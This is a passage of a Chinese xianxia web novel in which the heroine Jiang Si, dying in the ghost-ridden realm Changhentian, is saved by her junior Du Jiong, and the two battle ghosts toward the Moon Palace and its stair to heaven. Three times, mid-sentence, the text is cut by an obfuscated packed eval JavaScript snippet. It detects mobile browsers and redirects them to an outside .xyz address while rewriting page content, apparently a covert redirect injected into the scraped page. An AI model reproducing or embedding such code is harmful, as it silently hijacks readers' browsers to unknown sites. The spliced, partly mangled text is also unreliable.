她半个身子没入腥臭的黑土中,房梁倒塌摔折的朽木,擦进她的手臂里,但她已经感觉不到疼了。 她望着天上亘古不变的、永远漆黑的圆,生平第一次想要认可它作为月亮的存在。哪怕她已经见过了真正的月亮。 可此时此刻,这轮漆黑的圆,虚假的玉盘,却带给她比外面真实的月亮,更缠绵不清的情愫。 是爱而不得,恨而又止的挣扎。 是跛脚娘死前望着黑玉盘那句:“等不到你变成真月亮了。” 江汜静静地躺在土里,万籁俱寂的血红中,她仿佛如长恨天里的每个人一样,平静地望着天上那轮虚假的月亮,平静地等待着死亡的到来,平静地望着周围徘徊的残魂如秃鹫时不时啃去她的骨肉与灵魂。 真的平静吗。 江汜问自己,问跛脚娘,问在这里死去的每一个人。 那些厮杀着的残魂,那些如残暴的秃鹫守在她身旁的残缺的怨煞,在啃食与强壮中回答了她。 不平静。不平静。不平静! 愤怒,愤怒,愤怒! 不想死,不要死,不想就这样死去!哪怕死了,也要变成恶鬼,变成怨煞重回人间! ……黑暗与无尽哀痛降临的那一天,我们都还没有见到月亮升起。 长恨天里的所有,都在等一轮月亮。 可惜死亡比月亮先到。说不清天间送屠城那日,是死亡先降临了,还是月亮来晚了。 江汜轻轻阖上眼,她从来不认为自己是长恨天的人。跛脚娘虽然总说离开长恨天就好了,回家就好了,但她知道跛脚娘把自己当成长恨天的人。 把这个恶鬼当道,怨煞成魔、炼狱之地的长恨天当成家。 跛脚娘,还有死在这里的所有人,存在着的恶鬼怨煞,从来不否认,长恨天是它们的家。 愤怒快要被流逝的生命抚平。 江汜的视野逐渐模糊,天上的黑玉盘,在恍惚之间仿佛变成了那轮皎洁无暇的白玉盘。 于是江汜轻轻扯起了唇角,想要将眼闭得更紧,用一个谎言欺骗自己将要结束的生命…… “我回家了。” “跛脚娘,狗崽。” 她说过她不回家,她说过那不是月亮。到头来,长恨天的每个人都逃离不掉家的谎言,她嘲笑过那些看不出谎言的傻子,直到也变成这样的傻子。 啪。 江汜想要张开手,任由周围围绕的残魂将她啃食殆尽,她还没有将眼紧闭,却感觉她的手在方才的一瞬间,有了自我意识,一掌甩上了她的脸。 她睁开了眼睛,模糊的视野里,好像看见天穹上的黑玉盘上跑下来了一个愤怒的人影,身旁还跟着一条吠叫不止,同样愤怒的狗崽。 啪。 清脆的一巴掌将她从走马灯一般的幻影中扇醒。 于是她看见,黑气残魂追逐下,血红的视野里,闯入一身青白的清瘦人影。 长长的广袖被他胡乱地扎在胳膊上,他暴露在外的胳膊上,满是血坑,那是未成形的怨煞啃噬出来的。 少年深一脚浅一脚地朝她走来,一头摔到腥臭的土里,挣扎好半天才能起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995114|178141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马尾半扎的素色头巾,沾染了腥臭的沙土,还有污浊的血。清秀俊俏的脸上也脏得要命,像是从泥坑里滚了一圈出来似的。 比起她好像还要狼狈些。 江汜的眼睛先认出他的眼睛,拥有一只灰败苍白眼眸的杜坰。 朱雀山上人人可欺的外门杂役弟子,左眼眼盲,灵根残缺,没有离火,仙途大道与他而言更是天方夜谭。 若是只求活得久一些,在仙门大宗里待着,即便一个外门杂役弟子,也比在人间要活得更长,更久。 可是,他来到了长恨天。来到了,一眨眼就会死去的地方。 江汜表情麻木,她眼眸颤抖的转动一瞬,将视线稳稳地扎在杜坰的身上,望进他那只苍白的左眼里。 少年三步两摔,总算到了她的眼前。 苍色的唇瓣仰起一个她熟悉的笑容,只是清秀带着一股书卷气的脸上,多了违和的血污。 “师,师姐。”杜坰喘着粗气,风一吹就倒的清瘦身体,不知道如何跨过朱雀山,一路走到了长恨天,走到了她的身旁。 “我来了。” 杜坰唇瓣轻颤着,眉尾也抖个不停,江汜听见他错乱的呼吸,还有不断飘散的灵力。 杜坰,愚蠢。 江汜默默地想,眼睛却挪不开。 狼狈的、体弱的、毫无能力的自顾不暇的少年,孤身一人来此,想要做什么呢,能做什么呢。 陪她一起去死吗。 那她还有些受不起,她和他本就没什么交集,她也没有为杜坰出过头,痛打那些欺凌他的弟子;也没有为杜坰解惑传仙道,她只是静静的看着,只是将那柄从长恨天里带出来的木剑随手扔给了他,告诉他——没有离火,就自己炼。 刺啦。 江汜死寂的漆黑瞳孔里,亮起一小撮炽热的火。 少年薄如蝉翼的手心里,此时忽的腾升起一簇离火火苗,灼热的火息令周围未成形的、残缺的怨煞瞬间退至百米之外,不甘地嘶吼起来。 杜坰抿了抿唇,嗓间滚动,将要溢出的血腥吞进腹中,但他今夜大抵受了太多超出他身体能够承受的伤,于是憋着的血,仍然从唇角滚落。 嘀嗒一声,没入江汜染血的衣襟。 他低头,扯起江汜的胳膊,拽至身前,将江汜从腥臭腐烂的土壤里拽出来。 少年眉目紧缩,霭霭山崖般朦胧秀静的眉眼,此时却带着一股难言的坚毅与固执。 他说:“师姐。” “没有离火,就自己炼。” “不要死。” 13. chap13 不要死。 江汜死寂的漆黑的瞳孔颤动了几分,杜坰身体瘦弱,卯足了劲将她半拖在身上拽起来。她身上的伤触碰到他的伤口。 伤口和伤口撞在一起,像两具残缺的灵魂触碰,都倒吸了一口凉气,动作僵住一半,谁也不敢动弹。 江汜干裂的唇瓣嚅动,她吃痛的半眯起眼,想要说些什么,微微偏头,却看见杜坰颤抖的肩颈和洇成血污的汗水往下淌着。 少年没有看起来那般轻松。 江汜的余光朝着杜坰手里的那团火望去,血红的视野里,火焰的冲击更加夺目。她抿了抿干涸的唇角,竟然生出一种想要将火吞进嗓子眼里的荒唐错觉。 但这错觉仅仅在杜坰半拖着她往外走了三步,江汜眼里摇曳的火光骤然熄灭,紧接着视线开始摇晃,还未反应过来,只听咚的一声,两人手搅着手,胳膊绕着胳膊,又摔进了腥臭的土里。 江汜:“……” 杜坰摔在她的身上,清淡的药香混杂着血气萦绕在她鼻尖。杜坰好似比想象中要轻许多,又或者她真的快死了,连知觉都消失。 杜坰撩起摔到眼前的素色头巾,能够表达情绪的右眼却不见什么歉意,反而带着轻松的笑意。 可他嘴里却说着抱歉。 “师姐,抱歉。” 江汜无话可说,她的目光又从杜坰的眼睛上移开,望向天穹的黑玉盘。莫名的,这轮她从来厌恶,从来不承认的月亮,此时却让她挪不开眼睛。 除了眼睛,连那颗隐约想要活下来的心,也被这轮黑月亮捕获。 杜坰拽下了半扎马尾上的素白头巾,用一根发带系上,蒙住了她的眼睛。 江汜又听见杜坰半喘息的嗓音不疾不徐地在耳畔响起:“师姐,不要死。” 跛脚娘和狗崽死的时候,也一直望着天上的黑月亮。 江汜闭上眼,她想了许久,她一次又一次地沉下神识去看不再有充沛灵力的空灵之界,一次又一次地尝试引灵入体。 但都做不到,丹种明明还在,空灵之界似乎也没有任何问题。 ……经脉断了。 赭石水是天生地长的邪物,因属性为水,所以在克火上显得格外有效。大部分人都以为,赭石水克火,江汜也这样认为。 但不是的,哪怕此时此刻,她都能感受得到,残留在体内的赭石水,在侵蚀她的经脉。经脉受损,别说离火,就算灵力也留不住。 “……师弟。” 江汜睁开眼,透过朦胧的头巾,望向杜坰瀑汗的脸颊。 杜坰怔愣住,苍色的唇瓣好似都有了点血色,他拖着江汜,深一脚浅一脚的走出了几里地,已经累的气喘吁吁,手心之中的离火也已经无法持续的升起,驱逐周围未成形的怨煞。 他明明没什么办法,却执拗地把江汜拖出来,执拗地一遍又一遍地说——师姐,不要死。 他听到江汜唤他师弟,迟疑的神色在他眼底铺开。 杜坰回眸,第一次唤得如此忐忑:“师……姐?” 江汜不是他师姐,杜坰也不是她师弟。 两个狼狈不堪的狗崽,离开了朱雀山,却又成了师姐弟。 “师弟。”江汜透过纱布凝着杜坰的眼睛,凝着杜坰那只瞎掉的眼睛。 她想问些什么,到了嘴边,却只有一句话:“师弟,你也不要死。” 杜坰茫然:“……啊。” 江汜说着有些想要笑,但她笑不出来,一笑手臂就要往下掉,她的左手大约断掉了。 于是她像当年在她腿边打转的那条野狗一样,低头咬在杜坰的肩膀上。恶犬的利齿除了伤人,也会挽留。 江汜垂下眼,事到如今,她已经没有什么可失去的了。也直到现在,她才明白跛脚娘说的那句——我已经没有什么可失去的了,长恨天的人都一样,所以人人都渴望月亮。 黑色的月亮,也是月亮。 “如果你死了,我会把你从土里刨出来。” “挫骨扬灰。” “不入轮回,不得转世。” 少年喘了一口气,他停下脚步,敦地一下拽着江汜又往地上摔去。血红的沙土翻飞,弥漫两人的眼。 江汜听见少年轻快爽朗的笑声,如一场春风。 杜坰说:“好。” “师姐,你要说到做到。” 被杜坰系在她眼前的布巾被拽掉一角,江汜又望进杜坰那只苍白的左眼。但这次是她躺在地上,杜坰撑着身子挤满了她整个视野。 “当然。”江汜说。 “……”沉默之中,杜坰一直望着她,江汜也没有挪开眼。 两人保持着这个姿势,久久不动。 久到杜坰叹气一声,墩儿地一下坐到一旁,他看起来也快倒下了。 “师姐。” 江汜没力气回他,眼神瞥了杜坰一眼。 杜坰也小心翼翼地朝她瞥来一眼,扭扭捏捏的、挠头抓腮地道出一句:“师姐,你是不是该想起什么了?” 少年看起来很为难,少女眼中也一片茫然。 江汜又乜了他一眼,随后眼中茫然淡去,唯留清明的坚毅。她望向天上的黑月亮,却不再被吸引,不再渴望它。 “师姐,我要是现在死了,你是不是就少一步把我刨出来了。” 杜坰累到脱力,往后倒去,倒在江汜身旁。 他没什么灵力,把江汜拽出百里地,早已气竭。 江汜回眸,静静地望着他,杜坰毫无防备地躺在危机四伏的长恨天,躺在江汜这条恶犬旁。 他的额间皱起,眼底却洋溢着点点笑意。 江汜别开眼。 师弟好蠢。 她该想起什么。江汜想在长恨天见到杜坰之时,她就已经想起了。 想起杜坰强破七宿峰禁制,送给她的那一块藏着凝悠花的糕点。师弟的身上一直传来清幽的花香,一闭眼就能想起凝悠花出现时候,夜里的点点荧光。 师弟,并不蠢。 江汜垂下眼帘,手指颤动,抓住杜坰的手。 “师弟,给我灵力。” 一身灵力都耗尽的两人,双手颤抖着握在一起,像两个没伞的人在雨里点火。 灵力。 天地孕育的灵力,无处不在的灵力。 两人浑身上下,却挤不出丝毫的灵力。 杜坰眼神脱力,无神地凝着天上的黑月亮。 “师姐……” “……不要看我的眼睛。” 少年的声音如同呓语,朦胧地响起。刹那间,江汜的手心里传来滚热的灵力,顷刻穿梭过她破败的经脉,没入她的空灵之界。 “溯。” 江汜毫不犹豫,单手掐诀,催动体内的凝悠花。 血红的光景之中,淡绿的光芒在江汜周身浮现,只有半秒,淡绿的光芒就消失。 蜷曲着身体的少年身旁,原本重伤无救的江汜,完整无缺的伫立着。 她的身上不见丝毫的伤口,连衣裙都洁净如初,除了袖口沾染了一点不属于她的血污。 江汜手里攥着杜坰方才用来遮蔽她视野的布巾。 她垂眸望着脚下狼狈的杜坰,有那么一瞬,想要去看杜坰的眼睛。 但杜坰蜷缩着颤抖的身体,双手抠着他的眼睛,没让她窥见丝毫。 江汜蹲下身去,攥着布巾,又系上杜坰的眼睛。 杜坰捂着眼睛撑坐起身体,江汜摸到手心里温热的液体,她凝眸望去,望见布巾上又添了一抹血痕,从杜坰的眼下流出。 “……师姐。” 杜坰嗓音悠悠,轻唤她的神识。 “我现在还不想死。” 江汜嗯了一声,拽起杜坰。 她说:“以后也不能死。” * 血红的光景不见丝毫的消弭,在长恨天看得越久,就会愈发觉得自己的眼睛就是红色的。 天上的黑月亮和初见那日没什么区别,静静的伫立,永不坠落,仿佛在吞噬着什么,又好似只是天穹的一只眼睛,空洞地凝视这地狱。 残垣断壁下走出一位眼蒙布巾的少年,他手环几卷散着沙土的书籍,仿佛是个误闯地狱的懵懂书生。淡雅如松的少年甫一出现,周围瞬间飞出几道黑咕隆咚的身影,如破空的利箭朝他射去! 少年察觉什么似的懵懂地抬起头,又往阴影外走了一步。 血红的光景下,少年素色衣袍下一圈的还在嘀嗒的血迹暴露在空气之中。 他迎着数道朝他袭来的黑影,不退不闪,反而仰起头来,唇角勾出一抹温淡的笑意,轻唤:“师姐。” “……离变,一线天。”少女沉稳、阴翳藏匿杀机的声音在少年耳畔响起。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995115|178141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 湛蓝的剑光如火,瞬间烧灼少年身旁的所有黑影。飞溅的血痕落到少年的衣摆下,沾着衣袍,滴滴答答的滚落地面,绕了少年周身一圈。 杜坰摘下蒙眼的布巾,没有管身旁倒下的恶鬼,只是侧眸望向身后暗藏在阴影里的江汜。 江汜垂眸甩着手上未熄灭的火,察觉到杜坰的视线,平静地开口:“继续。” 他们要去登天之阶。 长恨天还不是长恨天,而被称为人间仙境天间送的时候,便有一座登天之阶。 七十二道台阶,七十二道劫难。从天间送的月宫宫阙出发,往上攀登七十二道白玉台阶,摸到月亮,便可成仙。 这是天间送里美丽的祝愿,是无数人的祈福之路。 毕竟不管登天之阶修筑得有多高,人都无法触及天空,更何况,天上挂着的月亮呢? ……天间送被屠城那日,登天之阶上还聚集了无数想要“成仙”的人。 可惜,没有人能触碰到天空,没有人能在宛若黑夜的白昼里,触摸到还未爬上天穹的月亮。 没有人成仙,只有活生生的人,眼睁睁地看见天间送被毁,看见无人可归家。 江汜第一次从长恨天离开,登上早已布满黑沉血迹的七十二道台阶之时,看见的只有白骨与腐烂。 最后一道台阶上,抓着无数双残缺的手指。 而那里,不止那些可以窥见过去的白骨,还有依旧执念的恶鬼怨煞。 …… 杜坰不为所动,他盯着江汜,目光轻飘飘的却带着难以忽略的执拗。 江汜望着手上迟迟熄灭不了的火,平静地伸出手拍了两下,将火熄灭。一抬头对上杜坰执拗又隐约带着点埋怨的眼神…… “。”她又拍了一下手。 “师姐。”杜坰不紧不慢地唤她。 江汜默不作声地别开眼。 长恨天的天空不能久视,深如鲜血的天空,会让人神志不清,叫人失去理智,叫人发狂。长恨天里也没有时间,不会有太阳升起,也不会有月亮落地。 没有人能知道时间。 所以两人只能交换着做彼此的眼睛。 “快到月宫宫阙了。”江汜回眸,看见杜坰还是那副神情,忍不住叹气,“登天之阶被怨煞蛊惑的恶鬼更多,它们的执念很深,不会轻易被引开。” 杜坰朝她走来,嘀嗒的血迹在他的脚边滚落出一条小路来。 “师姐,今日过度了。”杜坰把手里的布巾塞到江汜的手中,“我们不能前进了。” 杜坰说的是她已经难以熄灭的火。 当年为了隐瞒自己的离火异样,江汜分离了大部分的离火在额间重新凝聚了离火印记,正因为如此,被剥离离火印记之时,无人察觉到她心口处还残留的、颜色黯淡的离火印记。 也让她阴差阳错的,留有了一点离火火种。只要有火种,火便生生不息,能够重燃火光。可惜,凝悠花光有回溯之效却无根治之法。 长恨天什么也没有,没有灵丹妙药,没有充沛的灵力。 只有无穷无尽的怨气。 五百年前,九地宗钻研秘法,借用怨气之力,自成一道,功法鬼魅难攻,引枝境以下,同阶几乎无敌。 ……而长恨天如今之景,便是由那个借怨修罗一手造成。 在这样的长恨天里,想要活下去,只有借助怨力,只能不择手段,丢弃一切道义廉耻,恶心的去活。 经脉得以修复,离火得以修炼。 但似乎不再是离火了,江汜手中的火,不再有朱雀离火犹如旭日般火热的颜色,而是变得沉寂如月亮般的苍色湛蓝。 江汜称它为变火。离字唤不出她手里的火。 而变火也比之前的离火更难掌控,需要她更精准的控制。否则便会泻如洪水,紧如哑巴。 简而言之,要不过于凶猛,收不住,要不就根本用不出来。 用出来了也有问题,用得越多越会失控;很长时间不用它,关键时刻就会用不出来。 江汜每日最多用五次,而每日最少要用两次。 她听见杜坰的告诫,今日却不愿退让。 “无碍,收不住就算了。”江汜道,“正好登天之阶的恶鬼太多,我还怕烧不完。” 杜坰板脸:“。” “师姐,要不你把我也一起烧了吧。” 14. chap14 拗不过师弟。 江汜抓了抓蒙在眼上的布巾,这条布巾粗糙得已经无法下手,她估算他们在长恨天待了估计快有几十年,甚至百年。 修仙一途没有时间一说,修士只有将死之时,才会去想时间到底过去了多久。 江汜也不在意时间,除却总是被恶鬼追杀,灵力稀缺以外,长恨天算得上是一个非常适合修离火的地方。 在人间,在没有灵气的过去,火永远都是最简单的驱邪除魔的东西。长恨天什么都没有,唯独恶鬼怨煞极其的多。 她可以,但杜坰不行。 灵根残缺,可是杜坰还是能修正道的。歪门邪道都是折寿的,江汜不怕折寿,在她手刃仇人之前,她不会死。 就算死,她也要变成恶鬼,变成怨煞,去讨一笔仇。 杜坰不在她的身旁,方才扮柔弱书生的人,换成了她。江汜手里拎着那几卷捡来的书籍,漫不经心的走在通往月宫宫阙的大道上。 修出离火不需要很多灵力,甚至不需要多高的境界。只要有经脉能通行,只要有丁点灵力,它便能用星火燎原之势,迅速扎根在经脉中,等你不断地去磨炼它,等到离火印记炼成。 就能使用离火了。 但离火这东西就跟骗子似的,火是能在灵力不多的情况下炼出来,但若想要使用它……不好意思,一丁点灵力就不要在它面前显摆了。 这一路上,基本上都是江汜来处理恶鬼,杜坰用离火的情况并不多。偶尔杜坰去处理恶鬼,也是将其引开。 但到月宫这一段路,恶鬼就没有那么容易引开了。 而且……长恨天里盘踞着的怨煞,也有可能出现在登天之阶的附近。长恨天中怨煞凶险,就连三煞鬼都不止一只两只,而是成群结队,但这些成型的、凶险的怨煞,并不会贸然出现。 它们早已将长恨天分割,各自盘踞在各自的领地。 长恨天没有人,怨煞为了不断的强大,只会自相残杀。 江汜攥紧手心,指甲硌进肉里的疼痛令她被污浊天空侵扰的神识渐渐清明。 跛脚娘死在登天之阶,她们当时是都要出去的。 若登天之阶附近只有怨煞和恶鬼,那都能算一句运气极好。那些“人”才是长恨天最危险的东西。 只要不碰上那些人,江汜都有把握离开这地狱。 正这么想着,江汜敏锐地捕捉到周围传来的簌簌声,是什么东西快速移动的声音。 江汜拎着书卷的手抬起来,将书卷抱在怀中,步伐缓慢地往前挪动。 是人?还是恶鬼。 “咦?是人?”身后传来一道惊疑的声音。 江汜脚步不停,只觉得这道声音有些许耳熟,但她很快否定。 长恨天没有人。这是跛脚娘日夜叮嘱在她耳边的话。 江汜耳朵动了动,她听见不止身后一个“人”,在这一瞬间,似乎有无数的“人”朝同一个方向奔来了。 它们不是真正的人,更像是人的影子,一簇又一簇没有五官的黑影从地底冒出来…… “回家!” “回家!” “月亮升起了!我们要回家了!” “我们要回家了!” 震耳欲聋的声音铺天盖地,轰隆隆的如雷声,将不平整的地面都震碎。 江汜一把扯下眼前的蒙布,惊疑地瞳孔朝身后看去—— 成千上万的“人”如雨后春笋,一批一批地从地底冒了出来,他们长着空洞的嘴,一声又一声地喊着:“回家!我们要回家!” “师弟!”江汜扔了手中的书卷,往回跑去。 杜坰一眨眼出现在“人”群中,手里握着一柄烧焦的木剑,他闭上了左眼,琉璃般澈亮的右眼凝着不断往前奔涌的“人”,毫不犹疑地劈出一道火光,朝着江汜伸手。 “师姐!” 江汜抓住杜坰手里的木剑,右手反拧,攥着剑尖,将杜坰甩了过来。 她左手抓住踉跄的杜坰,右手绕剑正握,湛蓝的火光从她的漆黑的瞳孔中绽放。 “离变,火吞!” 湛蓝的火光迸发,带着燎原之势,带着无法磨灭的愤怒,以江汜为中心,朝着周围不断地蔓延。 靠近火吞范围内的“人”一下消失,如同空气一般,火烧过去,没有受到丝毫的阻碍。但地底仍然源源不断地冒出来,没完没了。 “师姐!” 杜坰眼神慌乱,伸手去拍江汜手臂上蔓延过来的变火。 江汜垂眸咬牙压制变火,但丝毫无用。 她果断推开杜坰,攥着手里的木剑,又是一记:“离变,一线天!” “师弟,想办法引开月宫宫阙的恶鬼。”江汜深陷烈火,声音却依旧冷静,“我们今日必须上登天之阶,离开这里。” “……在这些‘人’,闯进月宫宫阙,走上天阶之前。” 杜坰攥紧了拳头,他睁开了左眼,苍白无神的左眼,静静地凝视江汜许久。 “……师姐,不许死。” 江汜没有回头,她手掐逆诀,在借怨力。 “师弟,你也是。” “死在这里,我没法给你收尸。” 杜坰飞快地朝着月宫宫阙跑去,阖右眼,以左眼窥天地,掐死诀。 * 记忆里跛脚娘一身麻布衣,但在这深红的长恨天里,江汜总是想不起来,那是一身素灰的布衣,还是素紫的。 但跛脚娘说过的每一句话她都不曾忘记。 长恨天没有时间,不知光阴流逝。但跛脚娘能清楚地说出她的年龄。不是百岁,不是千岁,而是十岁。 她还记得,跛脚娘说,如果在街上看到许多的“人”,不要靠近,不要去看。 要蒙住眼睛,往反方向走。 江汜问:“要是闭着眼不小心走成一个方向了怎么办。” 跛脚娘笑着敲了她的手:“笨,用火烧一条路。” “只要你不是走在他们后面,不是走在他们之中,而是走到他们前面。” “就不会有事。” “前面有‘人’,烧了就是。” “烧了,你就可以大摇大摆地往前走。” …… 江汜周身湛蓝的火光与黑金的怨气缠绕。怨气凝结如云,从她的四肢灌入,充盈她的经脉。 江汜小心地阻隔了怨气进入空灵之界的道路,只将怨气之力游走在经脉之中,不断充盈自身。 直到她能使出那一招。 “……”越来越多的“人”有意识地绕过她周身的火,笔直地朝着月宫宫阙前进。 江汜吐出一口浊气,止断逆诀。但周身的黑金的怨气依旧在她头顶萦绕不止,时刻准备着闯入她的身躯。 “离变……”江汜阖眼,手握黑焦的木剑,她念出离变二字,脑海里想起的却是雨无正当年在主殿,密音入耳的那几句秘法。 朱雀离火只有六式,寻常弟子能掌握四式就算天赋不错,五式更是天资聪颖,而达到六式的,几乎寥寥。 她离开朱雀山之时,凌萚已有五式。 但在雨无正的那几句秘法之中,离火该有八式。 “六之七法,死而不熄;七成圆满,浴火而焚;七之八法,月缺差一;八发而溢,朱火不控。” 朱雀离火的秘法,不知她如今的变火,能否使用。 江汜沉下心来,又吐一口浊气。 最好能用,不然…… “离变六之七式,朱火焚。” 江汜双手绕剑,湛蓝的火光将她手臂的衣服灼烧殆尽,经脉之中的怨气在刹那间被变火吞噬得一干二净,烧进江汜的心脉。 如同当年雾岭山脉灭三煞鬼时的心脉烧灼之感蔓延全身。 江汜却露出一个肆意的笑容。 她睁开双眼,湛蓝的火光将她的眼底点亮,血红的光景在这瞬息被湛蓝的火势捕捉。 “朱火焚!” 江汜甩剑而出,巨大的火势从狭小的剑口迸发而出,吞噬天地!木剑甚至被这惊人的火势带飞了出去! 只一眨眼,整条街上的“人”都消失了。 湛蓝的火附着在地面之上,“人”无法源源不断地冒出来。 江汜松了一口气,一股血腥涌上胸口,她呕出一口血,随手抹掉,踉跄几步捡起被火势带落的木剑。 变火已经失控,江汜先前用一线天或是火吞都会烧到自己。但……用朱火焚,变火反而正常了。 “……” 可惜用朱火焚需要巨大的灵力,或者……借怨。灵力越充沛,朱火的火势越盛,越旺,如见太阳。 周围还有别的东西。江汜余光往阴影处瞥了瞥,她没空管这些东西,握着木剑朝月宫宫阙而去。 * 洗净铅华、肃冷巍峨的月宫伫立在黑玉盘下。 月宫很奇怪,长恨天的一切都遭受了侵蚀,唯独月宫仿佛依旧是从前的模样。时间不会在它的身上留下痕迹,恶鬼不会,怨煞不会,死在月宫的人也不会。 月宫里没有痕迹,只有消失。 “天盛七星,斗柄东春。” 杜坰阖右眼,睁着无法视物的苍色左眼,踏入恶鬼游荡的月宫。 他手握死诀,丝毫不敢松动,唇瓣张合间,也轻轻发颤。似是恐惧,又似是警惕。 “见星如天,见天如我。” 杜坰迈入月宫正中央,恶鬼从他身旁擦肩而过,却好似没有发现他。 但杜坰浑身紧绷,额角冷汗涔涔,苍色的左眼微微战栗,眼帘似要耷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995116|178141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉下来。 “……我命七星。” 杜坰闭气轻吐,脑海里却不受控制般浮现一段争执的记忆——“小子,你根本不信,何以命七星?血脉?天资?天下豪杰如过江之鲫,你算老几?” 静默的天穹在他眼前碎落,七星失控,如流星坠落,划破他的眼眸。 “……” 杜坰咬破了唇角,不让眼睛闭上,苍白的左眼滚落一点血泪,月宫的游荡的恶鬼似是察觉到了他,躁动不安起来。 他仿佛又看见漆黑的夜幕要在他的眼前崩塌,北斗七星摇摇晃晃,又要从天穹坠落,砸进他的眼睛。 “……我命七星!”杜坰大呵一声,想要用声音镇住摇摇欲坠的天幕和北斗七星。 但终究天幕如气散,如陨石坠落,将他砸个粉碎。 杜坰闷哼一声,砰的一声半跪下地。 他察觉到恶鬼靠近,手里的离火刚刚腾升就听见一句:“弟弟,你怎么还是没想明白。” 杜坰手心里的离火湮灭,他望向朝他伸手的散发男人,一时怔住。 “你怎么……” “怎么,不认识兄长了?” 男人敲了敲和杜坰同样位置的眼睛,他的左眼戴着黑色的眼罩,他望着杜坰,掀起眼罩一角,露出同样苍白的眼眸。 “阿弟,你忘记了。七星失控,你也害死了兄长……” “就因为,你……不信。” 杜坰双眉一拧,手中离火腾升而起,一掌拍向眼前的男人。 “住口。”杜坰澈如琉璃的右眼里,很少有愤怒的情绪波动,但此时却如汹涌的海面,盛着无尽的愤怒。 男人轻蔑一笑,却如雾散去。 杜坰再睁眼,只见月宫之中层层叠叠围满了的恶鬼。 杜坰垂眼,左向东方迈踏一步。 “天盛七星,斗柄东春。” “见星如天,见天如我。” “玉衡满火,离乘玉衡。” 杜坰旋身绕指,在周身点出一圈淡如薄雾的红线,但周围恶鬼却如见大火,忽而避之不及。 杜坰眼前似他兄长模样的男人含笑望他,唇角一张一合,似乎是在对他说:“阿弟,你还是不敢命七星。” “向玉衡借火?好吧,你总是擅长逃避。” 杜坰闭上右眼,气息轻吐:“叫你闭嘴。” “离乘玉衡,一线诛破!” 磅礴的火势如同岩浆喷发,从杜坰周身淡如薄雾的红线中流淌而出,顷刻间,恶鬼埋入岩浆,嘶吼声不绝于耳,但很快,连同灼烫的岩浆,月宫又变得整洁如新。 杜坰咚地一声摔下去,他的眼睛仍旧死死地盯着男人被岩浆席卷而去的方向。 恶鬼吗。饶是跟着江汜在长恨天和无数恶鬼交手,但他不得不承认,恶鬼还是那样的难缠。 拥有意识的恶鬼,几乎分不清到底是不是人。 左眼开始刺痛,杜坰抬手捂了捂,但没什么效果,他只好抓着衣摆将血迹蹭掉。 又失败了,杜坰攥着染血的衣袍,漫不经心地想。 “师弟。” 江汜循声而来,见到的已经是肃静如初的月宫。没有恶鬼,没有火息,只有杜坰一人,喘息而坐。 杜坰回眸,他想睁开左眼,但刺骨的疼痛,令他完全无法睁开。 于是他只能攥着袖口,手心微微发烫,离火火苗蓄势待发。 月宫恶鬼众多,他不确定自己有没有完全清除。 江汜似无所觉地朝着杜坰而去,但快要走到杜坰跟前的时候,她提剑而指。 焦黑的木剑悬在杜坰的眼前,带着一股空荡的眩晕。 “把火收了,赶紧起来。” 杜坰:“。” 是真师姐。 杜坰松了一口气,手心滚烫消弭,但他却没有起来,他望向江汜眼眸里浮现轻松的笑意。 “师姐。” 江汜没应声,她微微屈膝,用焦黑的木剑,挑了挑杜坰撑着琉璃镜面的手,似乎在催促他抓住剑。 杜坰握住剑尖,还是不动。 江汜也没有拽他起来,她静静地等了一会儿,忽然问道:“师弟,你想去哪。” 杜坰怔愣片刻,茫然地摇头。 江汜眸光紧逼,她望着杜坰缓慢渗血而出的左眼,开口:“师弟,七宿峰禁制,你如何破得。” 江汜一直没有问杜坰,那日怎么破了七宿峰传送禁制,又怎么千里迢迢绕过太常,孤身一人闯进了人鬼皆厌的长恨天。 她不窥探他人秘密,她对别人的过往将来都不感兴趣,只要不触及她自身,她全都可以当作没有看见。 在长恨天,人就是要这样活下来。 杜坰抿唇,手指松落了一点木剑。 15. chap15 杜坰没有回答,静谧的月宫里,只有微末的呼吸声响动。 江汜垂眸一瞥,收剑回身。 并不尖锐的剑尖从杜坰的手指挣落,微末的触感令杜坰眼眸沉寂下来。 他突然意识到,师姐要和他分别。 “起来。”江汜面无表情,甚至说她从踏入月宫开始,就没什么情绪。 朱火焚燎破了她的袖臂,残缺的布料随风晃动,轻擦她矫健紧绷的腕臂。 她没有等杜坰起来,擦过杜坰,往前而行。 手中木剑绕腕,从未停歇的怒火从剑而出,如蛇如箭朝前席卷而去,燎烧起月宫垂落的帷幔。 踏入月宫外,登上能将整个长恨天尽收眼底的墙台,江汜往上望去——七十二道台阶近在眼前,远在天际。 站在台阶往上看,七十二道通天台阶带来的眩晕感,曾让无数人以为,走尽天阶,就可触摸月亮。 